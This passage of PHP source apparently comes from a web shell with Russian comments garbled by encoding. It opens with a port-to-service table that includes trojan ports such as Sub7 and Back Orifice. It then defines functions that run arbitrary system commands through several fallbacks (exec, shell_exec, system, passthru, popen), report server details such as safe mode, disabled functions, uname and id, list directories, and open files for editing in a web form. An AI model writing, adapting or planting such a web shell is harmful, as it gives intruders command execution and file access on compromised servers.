|
$port[5050] = "multimedia conference control tool";
|
|
$port[5060] = "SIP";
|
|
$port[5150] = "Ascend Tunnel Management Protocol";
|
|
$port[5190] = "AIM";
|
|
$port[5500] = "securid";
|
|
$port[5501] = "securidprop";
|
|
$port[5423] = "Apple VirtualUser";
|
|
$port[5555] = "Personal Agent";
|
|
$port[5631] = "PCAnywhere data";
|
|
$port[5632] = "PCAnywhere";
|
|
$port[5678] = "Remote Replication Agent Connection";
|
|
$port[5800] = "VNC";
|
|
$port[5801] = "VNC";
|
|
$port[5900] = "VNC";
|
|
$port[5901] = "VNC";
|
|
$port[6000] = "X Windows";
|
|
$port[6112] = "BattleNet";
|
|
$port[6502] = "Netscape Conference";
|
|
$port[6667] = "IRC";
|
|
$port[6670] = "VocalTec Internet Phone, DeepThroat";
|
|
$port[6699] = "napster";
|
|
$port[6776] = "Sub7";
|
|
$port[6970] = "RTP";
|
|
$port[7007] = "MSBD, Windows Media encoder";
|
|
$port[7070] = "RealServer/QuickTime";
|
|
$port[7777] = "cbt";
|
|
$port[7778] = "Unreal";
|
|
$port[7648] = "CU-SeeMe";
|
|
$port[7649] = "CU-SeeMe";
|
|
$port[8000] = "iRDMI/Shoutcast Server";
|
|
$port[8010] = "WinGate 2.1";
|
|
$port[8080] = "HTTP";
|
|
$port[8181] = "HTTP";
|
|
$port[8383] = "IMail WWW";
|
|
$port[8875] = "napster";
|
|
$port[8888] = "napster";
|
|
$port[8889] = "Desktop Data TCP 1";
|
|
$port[8890] = "Desktop Data TCP 2";
|
|
$port[8891] = "Desktop Data TCP 3: NESS application";
|
|
$port[8892] = "Desktop Data TCP 4: FARM product";
|
|
$port[8893] = "Desktop Data TCP 5: NewsEDGE/Web application";
|
|
$port[8894] = "Desktop Data TCP 6: COAL application";
|
|
$port[9000] = "CSlistener";
|
|
$port[10008] = "cheese worm";
|
|
$port[11371] = "PGP 5 Keyserver";
|
|
$port[13223] = "PowWow";
|
|
$port[13224] = "PowWow";
|
|
$port[14237] = "Palm";
|
|
$port[14238] = "Palm";
|
|
$port[18888] = "LiquidAudio";
|
|
$port[21157] = "Activision";
|
|
$port[22555] = "Vocaltec Web Conference";
|
|
$port[23213] = "PowWow";
|
|
$port[23214] = "PowWow";
|
|
$port[23456] = "EvilFTP";
|
|
$port[26000] = "Quake";
|
|
$port[27001] = "QuakeWorld";
|
|
$port[27010] = "Half-Life";
|
|
$port[27015] = "Half-Life";
|
|
$port[27960] = "QuakeIII";
|
|
$port[30029] = "AOL Admin";
|
|
$port[31337] = "Back Orifice";
|
|
$port[32777] = "rpc.walld";
|
|
$port[45000] = "Cisco NetRanger postofficed";
|
|
$port[32773] = "rpc bserverd";
|
|
$port[32776] = "rpc.spray";
|
|
$port[32779] = "rpc.cmsd";
|
|
$port[38036] = "timestep";
|
|
$port[40193] = "Novell";
|
|
$port[41524] = "arcserve discovery";
|
|
////////////////////////////////////////////////////////////////////////////////
|
|
////////////////////////////////ÔÓÍÊÖÈÈ/////////////////////////////////////////
|
|
///////////////////////////////////////////////////////////////////////////////
|
|
function rep_char($ch,$count) //Ïîâòîðåíèå ñèìâîëà
|
|
{
|
|
$res="";
|
|
for($i=0; $i<=$count; ++$i){
|
|
$res.=$ch."";
|
|
}
|
|
return $res;
|
|
}
|
|
function ex($comd) //Âûïîëíåíèå êîìàíäû
|
|
{
|
|
$res = '';
|
|
if (!empty($comd)){
|
|
if(function_exists('exec')){
|
|
exec($comd,$res);
|
|
$res=implode("\n",$res);
|
|
}elseif(function_exists('shell_exec')){
|
|
$res=shell_exec($comd);
|
|
}elseif(function_exists('system')){
|
|
ob_start();
|
|
system($comd);
|
|
$res=ob_get_contents();
|
|
ob_end_clean();
|
|
}elseif(function_exists('passthru')){
|
|
ob_start();
|
|
passthru($comd);
|
|
$res=ob_get_contents();
|
|
ob_end_clean();
|
|
}elseif(is_resource($f=popen($comd,"r"))){
|
|
$res = "";
|
|
while(!feof($f)) { $res.=fread($f,1024); }
|
|
pclose($f);
|
|
}
|
|
}
|
|
return $res;
|
|
}
|
|
function sysinfo() //Âûâîä SYSINFO
|
|
{
|
|
global $curl_on, $dis_func, $mysql_stat, $safe_mode, $server, $HTTP_SERVER_VARS;
|
|
echo("<b><font face=Verdana size=2> System information:<br><font size=-2>
|
|
<hr>");
|
|
echo (($safe_mode)?("Safe Mode: </b><font color=green>ON</font><b> "):
|
|
("Safe Mode: </b><font color=red>OFF</font><b> "));
|
|
$row_dis_func=explode(', ',$dis_func);
|
|
echo ("PHP: </b><font color=blue>".phpversion()."</font><b> ");
|
|
echo ("MySQL: </b>");
|
|
if($mysql_stat){
|
|
echo "<font color=green>ON </font><b>";
|
|
}
|
|
else {
|
|
echo "<font color=red>OFF </font><b>";
|
|
}
|
|
echo "cURL: </b>";
|
|
if($curl_on){
|
|
echo "<font color=green>ON</font><b><br>";
|
|
}else
|
|
echo "<font color=red>OFF</font><b><br>";
|
|
if ($dis_func!=""){
|
|
echo "Disabled Functions: </b><font color=red>".$dis_func."</font><br><b>";
|
|
}
|
|
$uname=ex('uname -a');
|
|
echo "OS: </b><font color=blue>";
|
|
if (empty($uname)){
|
|
echo (php_uname()."</font><br><b>");
|
|
}else
|
|
echo $uname."</font><br><b>";
|
|
$id = ex('id');
|
|
echo "SERVER: </b><font color=blue>".$server."</font><br><b>";
|
|
echo "id: </b><font color=blue>";
|
|
if (!empty($id)){
|
|
echo $id."</font><br><b>";
|
|
}else
|
|
echo "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid().
|
|
"</font><br><b>";
|
|
echo "<b>RemoteAddress:</b><font color=red>".$HTTP_SERVER_VARS['REMOTE_ADDR']."</font><br>";
|
|
if(isset($HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'])){
|
|
echo "<b>RemoteAddressIfProxy:</b><font color=red>".$HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR']."</font>";
|
|
}
|
|
echo "<hr size=3 color=black>";
|
|
echo "</font></font>";
|
|
}
|
|
function read_dir($dir) //÷èòàåì ïàïêó
|
|
{
|
|
$d=opendir($dir);
|
|
$i=0;
|
|
while($r=readdir($d)){
|
|
$res[$i]=$r;
|
|
$i++;
|
|
}
|
|
return $res;
|
|
}
|
|
function permissions($mode,$file) { //îïðåäåëåíèå ñâîéñòâ
|
|
$type=filetype($file);
|
|
$perms=$type[0];
|
|
$perms.=($mode & 00400) ? "r" : "-";
|
|
$perms.=($mode & 00200) ? "w" : "-";
|
|
$perms.=($mode & 00100) ? "x" : "-";
|
|
$perms.=($mode & 00040) ? "r" : "-";
|
|
$perms.=($mode & 00020) ? "w" : "-";
|
|
$perms.=($mode & 00010) ? "x" : "-";
|
|
$perms.=($mode & 00004) ? "r" : "-";
|
|
$perms.=($mode & 00002) ? "w" : "-";
|
|
$perms.=($mode & 00001) ? "x" : "-";
|
|
$perms.="(".$mode.")";
|
|
return $perms;
|
|
}
|
|
function open_file($fil, $m, $d) //Îòêðûòü ôàéë
|
|
{
|
|
if (!($fp=fopen($fil,$m))) {
|
|
$res="Error opening file!\n";
|
|
}else{
|
|
ob_start();
|
|
readfile($fil);
|
|
$res=ob_get_contents();
|
|
ob_end_clean();
|
|
if (!(fclose($fp))){
|
|
$res="ERROR CLOSE";
|
|
}
|
|
}
|
|
echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">";
|
|
echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">";
|
|
echo "<table BORDER=1 align=center>";
|
|
echo "<tr><td alling=center><b> ".$fil." </b></td></tr>";
|
|
echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>";
|
|
echo $res;
|
|
echo " |